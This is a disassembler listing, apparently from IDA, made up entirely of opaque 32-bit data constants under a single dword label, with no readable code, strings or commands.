		dd 1751D10Eh, 803398EBh, 0F6E63DB8h, 0C30B8B76h, 0E2D1E998h
		dd 4CF35576h, 0C49CDE6Bh, 2FF5E192h, 803B64ABh,	4A2F3E18h
		dd 0E1F5464Fh, 0D55D0802h, 78A57231h, 54BA4084h, 503C1642h
		dd 88182812h, 2305B792h, 88A4C780h, 0F6D22CEBh,	0DAE9D012h
		dd 62B085E0h, 0F8CE139Fh, 64E4538Eh, 88D9FBC4h,	7D8D502h
		dd 0A1976457h, 4FF86E4Dh, 0A12B70FDh, 7330A713h, 6A24002h
		dd 0C67040F0h, 0DB03136Ah, 53740E5h, 2216473Eh,	2D50E8F0h
		dd 0B93C5107h, 59B7068Ah, 0B7CDFCE9h, 0E5FD9750h, 2D938B0h
		dd 0C06D1ABFh, 992C170h, 777A8A2Bh, 0AB88755Bh,	1BBF3D24h
		dd 60C56F90h, 0CC9C159Eh, 0FE809733h, 310AC05h,	0B10E4Fh
		dd 96B80704h, 4017F000h, 34B8E94Eh, 2C177499h, 5CB21009h
		dd 0E47F89A6h, 0F405A999h, 1F752D30h, 95426B0Bh, 347F0F0Dh
		dd 12EE6807h, 0D910AA26h, 479AC4Fh, 2A5C1EBCh, 0AC831780h
		dd 109AD307h, 9604A79Eh, 0AD486345h, 5808406Bh,	620C7CBFh
		dd 59D5E9F6h, 0C6CBEFD0h, 37AD5CAEh, 0B05220C9h, 0BEFD04FBh
		dd 88E55E25h, 0E9525782h, 5BB5D81Eh, 2190E128h,	78F2D020h
		dd 3DD3882Eh, 65ABD812h, 0F1B2BAB2h, 1B3AD8Ah, 674C691Eh
		dd 0EF40C64Dh, 7362F6D0h, 65BE6FC4h, 40B19331h,	80FDB54Bh
		dd 0CDE6A0EDh, 0B9CA558h, 0AB83E99Bh, 0E27F5453h, 8100B1C1h
		dd 0E5AA4F5h, 13051ADDh, 0EB2AD025h, 0DE9B280h,	6903992Ch
		dd 67C25F60h, 0D4781895h, 4842913Ch, 19100CCh, 0A1E90E10h
		dd 3661BC57h, 2649D9E0h, 723D40B9h, 0C50B9CF0h,	802CE35Ch
		dd 27A831A7h, 0C3E933D4h, 0D3B14635h, 4BB052Ah,	735AF4Ah
		dd 0FA27E788h, 0C8E32092h, 9E281DDh, 6A767C2Dh,	272316F5h
		dd 2C985998h, 23CB0D09h, 225104DDh, 56DF06E2h, 0BE9DC40Fh
		dd 1B9C8C06h, 10B62019h, 6BD72504h, 0C180672Eh,	61CC1263h
		dd 6E97D201h, 0E2D7D6E4h, 6EB8400h, 45746800h, 5F5F42E0h
		dd 676F63E1h, 9D97408h,	82CDF65Bh, 0D570ACBCh, 89D24F8h
		dd 0A10946Fh, 0B544EF4Bh, 2D00B0BEh, 2A47EF6Ch,	0DEF82EB8h
		dd 46FD514Bh, 13256E84h, 0A05F93EAh, 0F6813D00h, 6B0C07DBh
		dd 0E9D64FF7h, 0F1F05E95h, 320E7D1h, 0B531DBDh,	2784BFF2h
		dd 0EA49E108h, 84025ACh, 6A15945Eh, 250C0287h, 0F7055FB2h
		dd 19F2BC04h, 0D3CE8100h, 515B7F1Ch, 0E080F8E0h, 55E92D8Eh
		dd 0E0E1B10Fh, 7C388968h, 5273C915h, 5E81204Fh,	0F7CA870Dh
		dd 0E50008D1h, 0F173892Ah, 0EB10E871h, 255C11B8h, 0D5581844h
		dd 97D2F72Eh, 0AE032000h, 0E4CA3142h, 6808C2D1h, 8C46468Bh
		dd 59CCF766h, 3EE9101Ch, 0D4282D0Dh, 45E96813h,	680A025Ah
		dd 4746476Ch, 2000544Ch, 78D798CCh, 0E871207Ch,	5168AC0Bh
		dd 0B6F7987Ah, 0B0500505h, 0AC620A4h, 87D5EA9Ah, 0EB2CA3CBh
		dd 0AA800404h, 0DE812025h, 0B42D4C0Eh, 70AE8B9Eh, 0C9C5945Fh
		dd 0E620F92Eh, 0A8BA5255h, 3CE2081Fh, 4E9BC93Ah, 0C107ADECh
		dd 500B4C35h, 241E0477h, 2206057Bh, 0C2017AECh,	0FFDC5F62h
		dd 3097B95Fh, 800BBABCh, 8B7895F1h, 0F6A1475Eh,	0FB3A343Eh
		dd 7FA1EE9Ch, 0B635652Ch, 14D9B5DAh, 739BC19Fh,	0D2916269h
		dd 0B90523FDh, 0FFE677FEh, 670192C2h, 37D2D41h,	923B5E13h
		dd 0EAEF001Ah, 4C025D06h, 0E9DFF747h, 255ADED0h, 0CE12255h
		dd 33020BAFh, 6D21017h,	5475A40Bh, 148C325h, 0A32DAF12h
		dd 359AE97Bh, 44CAC1DBh, 42E8AAA8h, 6A33A2B1h, 61E5678Dh
		dd 0BE001F2Ch, 7E1447E4h, 0E509E681h, 7044E67h,	0BDCEE0C4h
		dd 850DCA7h, 890BF423h,	397D82E5h, 836F1D3h, 29054994h
		dd 0C6BE306Ah, 0FE481155h, 0C0D44EBAh, 4BEE4B81h, 5012D07Eh
		dd 882E7CB4h, 800E5BE1h, 0CB2824EBh, 59655D87h,	0B01E278Bh
		dd 88F5353h, 56121793h,	4F2FD601h, 0C6805E1Fh, 21EB124Ch
		dd 2EFABF57h, 0E9795D1Eh, 0B10003ADh, 66CE814Eh, 5BE29F20h
		dd 41A68C34h, 3962D09Dh, 0F1D14FE1h, 9950DEA5h,	590B71BFh
		dd 330CE968h, 33E85A24h, 5EC2338Bh, 0D1D35457h,	60E90083h
		dd 451CBD32h, 0C1F76855h, 0DA27E5Fh, 0BB5A8B3Fh, 7965E64h
		dd 0C50B207Ah, 205297A1h, 0E5F6D7F8h, 5E9D269Ah, 147D52AAh
		dd 0C0565C9Dh, 532FD604h
		dd 6F7E8036h, 605FBD76h, 0BC115B4h, 77AABF25h, 6861105Ch
		dd 8C266722h, 1C79BF13h, 1714A45Ah, 83D1BAD6h, 40C250B1h
		dd 80E854E4h, 62A685Fh,	1CD22048h, 752BEBF1h, 9BE687E8h
		dd 4BDC67F7h, 0C2D3BB64h, 5725525Dh, 0C1028D94h, 46E902E3h
		dd 0DFD49A4Eh, 0AF553D22h, 7DF08802h, 0F3027151h, 0F590C130h
		dd 0F49DF5D0h, 1D530992h, 0A4FC3BAEh, 43F209B6h, 0D7A581D6h
		dd 7C3123C5h, 0EE056064h, 0B4EC3504h, 627354B2h, 2477BFDEh
		dd 0E9E1FAD1h, 0E66EF337h, 8AE29315h, 0F7E6EED2h, 0B268FD05h
		dd 9A95982Eh, 1E502713h, 0E66770BAh, 332C09FBh,	5713F74Fh
		dd 4232B909h, 636C7F9Dh, 0AD622C3Bh, 0E9AFF894h, 8FE9C0F7h
		dd 0FD99FDCh, 258ADACBh, 53C449E8h, 0D5476827h,	1127BD46h
		dd 927D5137h, 168BEEC7h, 0ABB5512Ah, 6393C9CDh,	4F95D23Eh
		dd 752FF3F4h, 67903C14h, 21153351h, 4B5B7208h, 707073FAh
		dd 17499F58h, 4BB6DAFh,	0AE279103h, 0D27DF388h,	5EF8E899h
		dd 0E09E452Ch, 0B0694FA9h, 0FD0E05EBh, 0A14DE632h, 603F0352h
		dd 79E103Ah, 6211A275h,	291F02C0h, 3023E1D0h, 0B8732860h
		dd 246EF7C3h, 174C9439h, 8E95FB0Ch, 8DAF3452h, 1477F0E0h
		dd 961A363Ah, 6B4466B5h, 2805AD6h, 5CEA7C3Fh, 5104FF48h
		dd 0A813C144h, 5DC589Fh, 0D90B838Ch, 0FF5B13EAh, 46E64817h
		dd 0DD634225h, 602B55E3h, 0A427872Ah, 0E903296Dh, 2E4AF683h
		dd 6F4183F0h, 0C860A54Bh, 89634F5Fh, 4C08F0B4h,	0BF942A2Ch
		dd 7F0368D0h, 0B856787Dh, 810B4A7Bh, 2EF4E74Dh,	1896F0F2h
		dd 0EBD10AF4h, 4D0FF790h, 0A9409107h, 0D4B3C2ADh, 0F84A13BAh
		dd 0CFB50B07h, 12EE8528h, 0D81A39BBh, 333903EAh, 0F258F201h
		dd 8F6548B5h, 174C0735h, 69DE451Fh, 0F008215Eh,	0C05B0362h
		dd 0D2C905EAh, 0C8CC7BE6h, 0D45CD0F2h, 0BF4B4C13h, 0E98225B2h
		dd 0A859176Ah, 990654C5h, 754F1F9h, 362D4FBFh, 0C2FBF722h
		dd 14FF06CBh, 36E8BDBBh, 2BAC5B10h, 5B03C49Dh, 0F75B905Eh
		dd 0CA0B1528h, 2FE318Dh, 0FE534E5Ch, 43248328h,	0C9DA278Eh
		dd 5412135Ch, 3A1E970Bh, 88990658h, 1B681923h, 28EE7154h
		dd 1D292643h, 97707E9Dh, 65133AC6h, 0E05A72E0h,	0DD5289FAh
		dd 0DB9D7CFh, 8B30086Ah, 10D5D772h, 113D5AF6h, 6DC3014Fh
		dd 2E6D0C11h, 7D532861h, 2FB86187h, 252E32FEh, 0F74E2375h
		dd 0C3689AF1h, 58A8E144h, 55DE57C2h, 6C0057CAh,	0E91B0446h
		dd 44EC5015h, 7360929h,	467F21D9h, 9C71B724h, 75711B1Ch
		dd 0F603F022h, 7FC1FFECh, 0E9CFB1F1h, 1D2130BBh, 8C14122Ah
		dd 0F67BB6B7h, 7745F34Eh, 62EF4A68h, 0C5900B34h, 0DF82B4D6h
		dd 42D79DC8h, 56A38B2Fh, 2CB8C0BAh, 94855A74h, 0C504FE53h
		dd 0EA2A0C65h, 124953C0h, 0C0595E8Ah, 7B8E775Ah, 5F9DEA92h
		dd 0F104AF12h, 0D7CA404Dh, 902B623Fh, 0E7B00C4h, 3BB0CD1h
		dd 71506CDCh, 3F9806C4h, 0AB294534h, 5B480819h,	6816EF11h
		dd 7DB148A4h, 0A0DFC66Fh, 0D80753C2h, 4AEA975Eh, 7CE90801h
		dd 0AEEC3AC4h, 1FD4ABD7h, 116FF1Eh, 0F2092D13h,	0D0B6E02Ah
		dd 0DFF634E7h, 2FA1FF04h, 3C5EC02Ah, 0C96060E9h, 7D72CE79h
		dd 45584E3Eh, 7EEA8h, 0E5E4698Dh, 2D30E925h, 0C8F1C135h
		dd 14223B1Bh, 3375097Ch, 76763F24h, 0A93D3500h,	30FBF41h
		dd 0E9A5F65Ch, 3B7644FAh, 4A1BCF03h, 0C7C12941h, 0E52F082Ah
		dd 2AE18075h, 0E90CA210h, 76D6272Dh, 197662BFh,	27B72C66h
		dd 218D010h, 0F8885058h, 3F085F5Eh, 0A1B7000Eh,	285AF730h
		dd 0C866FD28h, 1FDE84Bh, 0E9CD2C81h, 1703CB8h, 523EBF57h
		dd 0A17B4D2Ah, 9CDF007Fh, 957F0D66h, 4402C294h,	0F60F7C3Bh
		dd 4C072012h, 0DE000A5Fh, 4ECA1C39h, 8B9C80E9h,	8205C39Ch
		dd 0D087C48Ch, 85AC9BD4h, 3036B407h, 3E1792CCh,	0A7451F71h
		dd 1288D957h, 0F7A84A16h, 27EB58BFh, 8C27710Fh,	45ECCDE1h
		dd 711CC9ECh, 58AF1364h, 0BC2987Ch, 520E7C51h, 0F7A56CD9h
		dd 19139365h, 94C186D0h, 42BC2421h, 2D490408h, 0D1D5C43Ch
		dd 3F5AD713h, 1661683Dh, 0B5A7DC20h, 69BF4C71h,	26EE7FDBh
		dd 0E12BA56Ah, 9E7AF002h, 0F4B48062h, 981A2B78h, 1D090061h
		dd 0E95174C6h, 52A268FCh, 0C6AD2DDCh, 0AB18C144h, 316DEF1Eh
		dd 0C317003Bh, 2C30189Bh, 0ABB0C79h, 0BD5DEE7Fh, 52485871h
		dd 16E87727h, 6B867392h, 3402B34Ch, 6E57D2E5h, 0E550BD30h
		dd 0C1F65C9Dh, 6FC5B4E9h, 0A0C4141h, 0CBE6849h,	235C3C08h
		dd 7B5AC002h, 9DA8002Eh, 709FD3A9h, 0E69CE6h, 68555287h
		dd 0EA3029A5h, 0D8C5C049h, 0B13A5E05h, 2F8671B8h, 76179D9Ah
		dd 0C2DCE31Ch, 0F75DE821h, 559740D2h, 3F6AB318h, 0E4EACFCEh
		dd 0AB13BA82h, 0EB4A9DE7h, 808B412Ch, 28E30768h, 58BAC4BEh
		dd 0FB71E904h, 9CC27164h, 255A00A8h, 0ED0315A9h, 68E4351Ah
		dd 5548D0E1h, 0F19EC50h, 5813A57Ah, 432FFDC0h, 622DE91Ch
		dd 0C965D906h, 255D53D7h, 128914DDh, 0E947DAE9h, 25E23C8Dh
		dd 0FE190469h, 4048C4F4h, 0EE5083A6h, 0EF407DBEh, 2CCEB9BFh
		dd 3FF62E7Ah, 0ED2F31B4h, 0B9CF126Ah, 3088EEAh,	2D5C05E4h
		dd 40662550h, 958B5168h, 8CC4724Ah, 8B217DB5h, 0B420DA8h
		dd 6DF25529h, 833A80D7h, 0EC325724h, 69F408CBh,	0F80331C9h
		dd 0BAE68AF0h, 26CE41DDh, 16B2C94Ch, 0EAD8682Fh, 31152E61h
		dd 0EDC1CE50h, 0D44DE805h, 330F4005h, 0BFC3575Dh, 4FF351D3h
		dd 1FE7180Ch, 3EEF0A2Bh, 4736A72Dh, 0E42C1205h,	0FD0D6ACAh
		dd 0B22A085Fh, 5925DF84h, 14E9051Ch, 0D7D1BC41h, 0FB4EADFCh
		dd 0EA5B978Bh, 1904B912h, 0CFA9C53Dh, 892186CCh, 60F56A9Fh
		dd 271511FAh, 5ADE1EF8h, 8F343602h, 42E2773Dh, 0A89B5B7Fh
		dd 414604F1h, 814A74DFh, 804201B3h, 80189448h, 90E2C178h
		dd 9D907E03h, 86EFD3F6h, 6D355F4h, 0F0648AEDh, 0A3770C4Dh
		dd 31ACF512h, 9CBC4E0h,	1CA435F8h, 37AD5E01h, 44C02BFCh
		dd 7640624Eh, 0DACD0518h, 5F5E5F25h, 0A1F5C1D1h, 2A0CB03Dh
		dd 311A4AAEh, 21880DBDh, 0BDA42E5Ah, 6A712768h,	692D7E46h
		dd 342CA022h, 0E3BB93Ch, 492DE8D1h, 0D83C03ECh,	8301DA98h
		dd 0E9D40593h, 4B66380Fh, 6F2F0279h, 0D1F76A4Bh, 49FF4DC0h
		dd 8FC3E64Ah, 0A6BA850Ah, 0D05F2D22h, 625F934Fh, 0D177F1F3h
		dd 47F7696Dh, 57A81208h, 75C3BBBCh, 106AD9D5h, 590B0CBAh
		dd 0F3DC634Dh, 0AB3406C0h, 2A409F74h, 30140B25h, 1BE2763h
		dd 739E526Fh, 0C040EDD1h, 0E55B7D5Ch, 7450AE40h, 0FADF68h
		dd 0B606E50Fh, 0E925E809h, 54BC096Fh, 80DE01B0h, 2E88CAEDh
		dd 0C42CBA83h, 4212D7ECh, 0EDDCBEB6h, 0AC434A37h, 50D5C4D2h
		dd 547D39AFh, 0B81A818h, 75083F77h, 2DDAB89h, 0F06DE969h
		dd 0FE6835A6h, 0E9F4FA33h, 0B9314A5Fh, 2819104Ch, 474B84Ah
		dd 6E9729BDh, 0E30206A8h, 4C056D47h, 42182560h,	0D6775327h
		dd 14F0BF15h, 0B074A32Fh, 5185801h, 6FDF8912h, 73E97BC0h
		dd 2F3D74A4h, 0EE721E4Dh, 895F26h, 68A6A94Fh, 48BDED53h
		dd 4E60349Ch, 16A42A40h, 0E9EB2909h, 8F66C15Ch,	9462EF2Fh
		dd 0EB5B277Ch, 27C76E75h, 72F25E10h, 0AC4BF6EEh, 1B2B8AC8h
		dd 333FF86Fh, 826030F9h, 8958C22Dh, 0BB5D41D5h,	685C3282h
		dd 98DD3F3Ah, 802B4252h, 1C9CF5E9h, 0D98B4E1Dh,	8987FF1h
		dd 0BF80C9C6h, 5C1704B3h, 0BF7C010Ch, 80B4C9ACh, 61279C32h
		dd 1264D0BFh, 0EACF226Bh
dword_53EF10	dd 27086DA0h, 54C2958h,	15A1180h, 84A06495h, 713B8222h
		dd 2A6630E3h, 331AF309h, 0F57DC5E9h, 2408BC80h,	0D19D3FC7h
		dd 0EC091E7Fh, 9E4B1542h, 5055405Fh, 73CF6856h,	1A0525h
		dd 346D8C97h, 3F6EC1Dh,	0CFAB06CCh, 2DF8F089h, 7E2AD2A2h
		dd 0AFA2AFD8h, 6EAC1476h, 0F2007C24h, 0B5E58F1Fh, 0FAD05A21h
		dd 0E7681028h, 69628D7Eh, 0D952CB8Bh, 6A69BF48h, 0B874B35Fh
		dd 0BF2AE9FBh, 7DF31FA1h, 7A03614Bh, 0CF17EFE8h, 24288959h
		dd 7841FDCh, 793DF8FAh,	6116CB89h, 14C15177h, 6B290D99h
		dd 7003425h, 4B576859h,	25752472h, 41D68263h, 596BDD0Bh
		dd 0BBA20DD1h, 98D4CABh, 0F5491C4Bh, 5E9F4DF2h,	1B38095Fh
		dd 0BF933F71h, 29F877D1h, 4512F636h, 0C530ACD3h, 32F94E49h
		dd 64565789h, 4889946Fh, 47E44B73h, 0DBAC25E9h,	0E307BAC6h
		dd 563EBC77h, 0F4FC3AE2h, 8495930Fh, 6E64AFFBh,	71E0D201h
		dd 0A92E183Ah, 602D0254h, 0CC4A8D65h, 86DB82BEh, 83A7F33Fh
		dd 5CE0AA8Ah, 0E3ABC361h, 0BFBE7502h, 5C0AB60Ch, 0A262821Dh
		dd 71F4D382h, 0DBEA8F3Ch, 294BC412h, 70E84AFh, 0DA26E908h
		dd 0B5294F58h, 12CAE5Ah, 581795CDh, 49A1D020h, 4A2B3E05h
		dd 0EE57FB13h, 0C1014060h, 6BF8B958h, 0A4B367DDh, 9D4AF60h
		dd 76A10CE2h, 127DEBABh, 545BF52Ch, 0FFA0F487h,	0CD58F319h
		dd 0CBD86B37h, 0AB2EE5C9h, 0D4C57E21h, 0B65838D0h, 9B702FC4h
		dd 9B0ECA00h, 4CCF810Fh, 41FA0676h, 0E54279E9h,	2C0B2ADEh
		dd 62685634h, 63B2E331h, 7FFC8955h, 0E942517Bh,	3EBAF003h
		dd 0F182415Dh, 78551508h, 9BE5B75h, 0CFAB0AE9h,	4B543770h
		dd 53EC894h, 66FA9FC0h,	12221B0Bh, 2B728743h, 0EA0ACE93h
		dd 282BD85Ah, 54A2E228h, 0F3515F48h, 4C1FF46h, 0E855EEDh
		dd 0DA8EE4Eh, 0BEAD255Fh, 7284EEB6h, 9134BF14h,	0A9A1FDB8h
		dd 0C5AB24B7h, 0EA4D582Eh, 88D1CB02h, 975D58E0h, 0EF025CFEh
		dd 407D63AAh, 0C0BFF2B2h, 7EABC59Bh, 0AEF6157Fh, 0B5E5E65Eh
		dd 0E33F01F1h, 1E3D106Ah, 0C95B2A48h, 0FE7A204Bh, 5AD181C0h
		dd 0E707E1C1h, 0DBE2C247h, 7E1A7D4Dh, 0B0B1F257h, 7A6BD06Fh
		dd 12BDF996h, 0BEE7A538h, 68E1F702h, 4C66353Ch,	964C5063h
		dd 0C6CD039Fh, 62B63FD3h, 0C24A23D9h, 9F9FBFFh,	8BF6B5F9h
		dd 43F25CB1h, 4AD25DEDh, 4DC85762h, 305E74C9h, 388B4E80h
		dd 0A81B5BEBh, 52A440E4h, 34F67817h, 850D0E0Ah,	0EFA03E45h
		dd 4B509D88h, 34E4801Ch, 0B81EF4D7h, 0CF42E1DFh, 7F55BCE9h
		dd 5F644C94h, 44B13344h, 5CCBA464h, 77316861h, 4ECACA6h
		dd 0D58488A8h, 8698985Bh, 0A2EF8ED2h, 0F221D24Dh, 0A33F06D8h
		dd 0FCD12D26h, 4BF8C5BCh, 0DA5EB891h, 0E3FE3192h, 83E24E72h
		dd 0E37C83C4h, 458F1806h, 8C33181Bh, 7D3DAC49h,	4C76FA3Fh
		dd 0A4EB16D4h, 8540DEB3h, 0AF439945h, 5D48EE5Ah, 2AB9125Eh
		dd 0C01752B9h, 3E4AF724h, 0B8E2DF5h, 9F29789Eh,	67A93DE0h
		dd 0A71EB53Fh, 595505D6h, 2DE1CEBEh, 25E54421h,	346050E9h
		dd 0C6975954h, 5785A223h, 172580C4h, 0E97CF65Ah, 88899ACAh
		dd 47E4697Fh, 9C15B362h, 2E84E066h, 0F7CAFA43h,	164F9710h
		dd 0AA0BCD29h, 0C7115DEDh, 4E467CABh, 17EBCFFBh, 1F67FE68h
		dd 51E9DE30h, 14719FD2h, 62042D3Ch, 847B71A2h, 0FB2C8BEAh
		dd 82A5A1A8h, 0FBD447ECh, 0CAF89E50h, 945056h, 46C01984h
		dd 0BC07E781h, 0C15B3A14h, 0F2FB0764h, 0AA205AD9h, 5EFFDEF3h
		dd 48A6B803h, 7BB94F73h, 78DBC14Bh, 782073A7h, 7F9D9A27h
		dd 0BA5223A0h, 0F03C4039h, 4D2305Dh, 1712CA81h,	82D103Bh
		dd 2016152Ch, 0CE3A82AFh, 0E6699E64h, 8968F5D4h, 3181C6F7h
		dd 0F6E50B6Ah, 253B4F5Fh, 0C88D9A3h, 0C3A485B4h, 0EEC852F4h
		dd 0F7FA5350h, 0D4EFAB0h, 0D5098120h, 57CEF95Ah, 0C2605529h
		dd 0EB8A6F0h, 49E0DCBDh, 812D39D4h, 4E668EBh, 5DE2EB59h
		dd 28272C5h, 0D7229607h, 0E506878Dh, 0B3057B57h, 27F3CEBDh
		dd 0A490985Ah, 9D5B0740h, 0EAD2FAEBh, 0FEEC0E70h, 1240A98h
		dd 340DD658h, 0B07A4AD5h, 0D80776C0h, 0C7214128h, 493B07E2h
		dd 0D06E4ED1h, 5549C35Dh, 2967C90Fh, 8EB0AF3h, 127C5627h
		dd 0EB44EBDDh, 0BD00D998h, 2E4226C6h, 2C5FA9Dh,	5B7AC394h
		dd 52FDEE29h, 0B4F4B5D3h, 0CE20600Bh, 39E6929Eh, 0B04AD62Dh
		dd 2E00B62Dh, 63B91014h, 0BA663DEAh, 5FE916C0h,	0DAE0D1FAh
		dd 0D2FF04C5h, 5650B158h, 7AAC2858h, 0F01D6770h, 0C465B652h
		dd 0A6E3806Ch, 4FDB2E38h, 241241Dh, 4A9948CDh, 0C3A768F5h
		dd 306113F7h, 0D1B4EA49h, 0F747E8B9h, 724AC03Ah, 8C5E510Dh
		dd 0C225C0A8h, 46E98D09h, 0D9E2CB19h, 0E713B7F4h, 5F580DC2h
		dd 7D2E5867h, 57285942h, 564B6546h, 6DFA66C5h, 54B97B16h
		dd 43CE5EC9h, 2EB83688h, 36294C17h, 50BF3F57h, 5A250BD3h
		dd 0E9272F1Eh, 0EAEE2099h, 2ECF111Ah, 272F09DFh, 7C096FDAh
		dd 75C6C0A1h, 18FA584Ch, 1C909C49h, 0D72F53E2h,	23D1E23Ah
		dd 52F2F12Fh, 25EA95DDh, 0E934FEE6h, 877F91h, 95F07275h
		dd 61F17230h, 0C6FE08CEh, 0C980E086h, 0A6C0932Eh, 0E4128A26h
		dd 6ECADDFAh, 251073FDh, 2D794C9Bh, 218F7A2h, 2D276858h
		dd 5BEEFC36h, 2056ABE5h, 0D4E91902h, 197155D1h,	70092269h
		dd 835A05DCh, 2D12C83Bh, 4E093EF3h, 0CD79DF53h,	581693A4h
		dd 53DF5AF2h, 5BFC82CFh, 0E1EFA07Fh, 48965AF4h,	0EC1FC469h
		dd 0EE567002h, 530B0B78h, 82F10106h, 5DFC5B49h,	0A2502A5Eh
		dd 0F193C09Ah, 7DE67BFBh, 0C9CDD1A1h, 0CB942EFh, 2D7FE65Dh
		dd 19561BB6h, 0D046FA7Bh, 0A8BE0491h, 0BA597F0Bh, 0FAB496FCh
		dd 0D3054CACh, 853FAA0Bh, 13C0EE36h, 276D5827h,	7682892Dh
		dd 0F80FAB01h, 28109A30h, 4DDA5331h, 0A85FDBF5h, 2020B6B3h
		dd 78B59E99h, 0EAC5504Eh, 25899DBFh, 0B2FCCDFh,	2B88C301h
		dd 9DF8848Ah, 55F38959h, 5661A17Eh, 0B32A0168h,	0F021C4D4h
		dd 2B77CDABh, 0E9177ECFh, 5341C5A8h, 22DEEB0h, 0B91BD02Bh
		dd 660F259Ah, 84CE3139h, 61ECCF64h, 4085129Eh, 8FC9818Eh
		dd 0D5F5A7Dh, 0B27FF4C3h, 6948752Dh, 0E9C946CFh, 2D77C5CDh
		dd 574C50C0h, 3A0EE626h, 35546C02h, 0EA8A6821h,	0BE251804h
		dd 39A50C57h, 310DCD16h, 3E45B30Ch, 140602EDh, 0B8E9288Ch
		dd 3B82A86Ah, 9F65C738h, 23ADB33Dh, 9AB3B380h, 0F5E855C1h
		dd 109FB8A2h, 9685380h,	6C8199Ah, 0B7C0FD0Bh, 19034B5h
		dd 5483B627h, 0F68004AFh, 0F0BCBBBBh, 3B8B888h,	0B7535BFDh
		dd 0F621E7C7h, 0AE5522E9h, 2F12A1FEh, 0BC446F6h, 781EA229h
		dd 0A1C0F034h, 0E1E81BCh, 30CA3CA9h, 66BB68E2h,	0AE6201B4h
		dd 1ACEDF9Ah, 0F7AB5EC5h, 256EF341h, 27317FF6h,	0D12903F2h
		dd 230986BBh, 5DD020B0h, 2262CF02h, 0DD015F09h,	0CEB54C02h
		dd 41A7E057h, 0F5808007h, 54EDCCFDh, 5EBF8DF6h,	0CBDC52E8h
		dd 65126258h, 0A0DEDABFh, 810E66B5h, 0B21521CFh, 0ED420BBFh
		dd 0BA79C842h, 79F5C04Eh, 32208D5Bh, 0D1BDBCE9h, 613AF70h
		dd 90B1657h, 1E7D5D3h, 4736E986h, 0A9EFECA3h, 0F22F55B8h
		dd 1B86C176h, 0CAF820B2h, 0C7AEC35h, 8E2C12Ah, 0C6F06C70h
		dd 980C4960h, 97BC1DCEh, 0DE259072h, 6206F653h,	657D0DCAh
		dd 0BD72097Eh, 3DB10DDh, 0E99C9EF2h, 43B1D8C8h,	68772097h
		dd 2E7FFC7Ah, 2037FB01h, 80E91808h, 5A66DB1Dh, 25D9F63Fh
		dd 0F70CE2B8h, 28D8C81Ah
		dd 0E819DC09h, 0BDE7DF55h, 1802DF25h, 5803ED3Dh, 9AFC48C0h
		dd 0F07B974Eh, 7037A1Ah, 36E1C126h, 61E6F101h, 936A64D8h
		dd 58959FBh, 4CC20057h,	8424C7Ah, 16BC905h, 0F994AB54h
		dd 41800816h, 50B8FC4Bh, 2FBEAFC4h, 0ED5E3C45h,	8A3723Fh
		dd 7268BB0Eh, 0F6EA1371h, 6AE9C49Eh, 0C110AEBCh, 580F73EFh
		dd 2D3E507Bh, 0EA6122E7h, 0F505228Fh, 0EA72D205h, 70B36C4h
		dd 0F49F05Dh, 1F7E349Bh, 818ABA0h, 222A680Ah, 7455B46Fh
		dd 73BF70B9h, 0AE2B4841h, 97689842h, 4AB85F17h,	0BD80C8BAh
		dd 0A40828C5h, 0C1ED3198h, 2FEB010Dh, 2F686960h, 8FDBB54Fh
		dd 73D1D649h, 8DE8D584h, 0C9A82A20h, 0FA49E9A8h, 0B2521C60h
		dd 99240424h, 17F7E808h, 734EC5Ah, 0BE7047Bh, 7590C660h
		dd 316F1763h, 408ABBF5h, 49B1FFD2h, 1047E73Bh, 57C30C47h
		dd 228105BFh, 57AF2A27h, 0F47F8C7h, 0E95CD7CDh,	2B5D8025h
		dd 1272BC0Ch, 0AD20C8E9h, 0CCD2DE00h, 42EAB820h, 0DFB513B6h
		dd 0C21E5F89h, 140A77DBh, 3B238AC1h, 0B5420299h, 3853559Eh
		dd 0DC665D25h, 474556B0h, 0F38FE668h, 3AF18B86h, 4816E1F8h
		dd 0B9A82347h, 0BD89797Dh, 895A0CD6h, 0D5D06012h, 79D2715h
		dd 2135B807h, 0D40F751Ah, 0BD051F17h, 0D3D2E976h, 4B96EDB8h
		dd 4D05C750h, 0D797494Dh, 0F900EAC2h, 0DDFE9C77h, 0C698DFF6h
		dd 8C6CB00Fh, 0B1E7C03Dh, 4A086427h, 41D4B54Fh,	2F9776A0h
		dd 52404FA1h, 0AE91758h, 0E5D1450Dh, 951D129Dh,	3340BFBBh
		dd 84B3AFF5h, 3D129CC1h, 0CB0DD080h, 250A6034h,	0D5339709h
		dd 0A72E8471h, 6E4EC18h, 0B8242D01h, 9DB2AD1h, 95AA6060h
		dd 66EB327Eh, 95692E24h, 0C91E42B1h, 83640279h,	0C725EE10h
		dd 2321982Eh, 0F14B22C9h, 57C580AFh, 2AA86855h,	2E5DFE1Ah
		dd 355AD587h, 84650208h, 7F40A334h, 917D7EDh, 4BAF2389h
		dd 0E65525C2h, 9D1CA027h, 0C29B31h, 46B401D5h, 0DD957C29h
		dd 0C055612h, 87F4EC5Fh, 0DF0B61ADh, 5612696Fh,	8EAF7653h
		dd 94DA1756h, 503661FAh, 822C5745h, 0ED7F27CDh,	98D7255Eh
		dd 0A86CE9D7h, 0B1EF0195h, 966ECFD9h, 512743E0h, 101246B9h
		dd 41BE7A45h, 566692E9h, 0EAB12A58h, 14CA0707h,	0CF14142Fh
		dd 9F474946h, 8EF76628h, 0EE595Eh, 81BD5510h, 6E135E12h
		dd 44C513E9h, 2FB729EEh, 8CE0CD8Dh, 8229DFC0h, 1A483A82h
		dd 55376E1h, 7B8F99BAh,	0BE0ED3B9h, 4709954Bh, 77F48C00h
		dd 0CAC966E2h, 4870015Fh, 0D1683FE9h, 59EF8800h, 2802C180h
		dd 0D5FDF975h, 0F3A74D66h, 0A5AFE0C9h, 63B05C88h, 140AC1B9h
		dd 0D470C768h, 0B00FCBCFh, 3E51FB57h, 479516B3h, 5B2D0D79h
		dd 8D9059E6h, 3AA4F195h, 800239CDh, 0C3289AEBh,	2CCA7E41h
		dd 0D8F7801Fh, 14C4E25h, 66051618h, 6B4F7E32h, 45009BB7h
		dd 4265E581h, 0FCED3136h, 0BA264AA7h, 0D0250174h, 3D271C3Dh
		dd 0D55EE7F4h, 0D4168880h, 0C1EAD153h, 4B152B10h, 7B8D3CEBh
		dd 4257FC40h, 2B085168h, 1A5E3AEEh, 0D71785E9h,	0E8DB9629h
		dd 63C6E98Bh, 934CA91Bh, 0AB66353Fh, 0BBB79047h, 3A832F5h
		dd 0CE6AE55Fh, 9C79DA60h, 1E7AB880h, 92327371h,	3587C04Ah
		dd 332D0998h, 40F4F2B4h, 99EED8D9h, 0CA31840Bh,	0B74AF559h
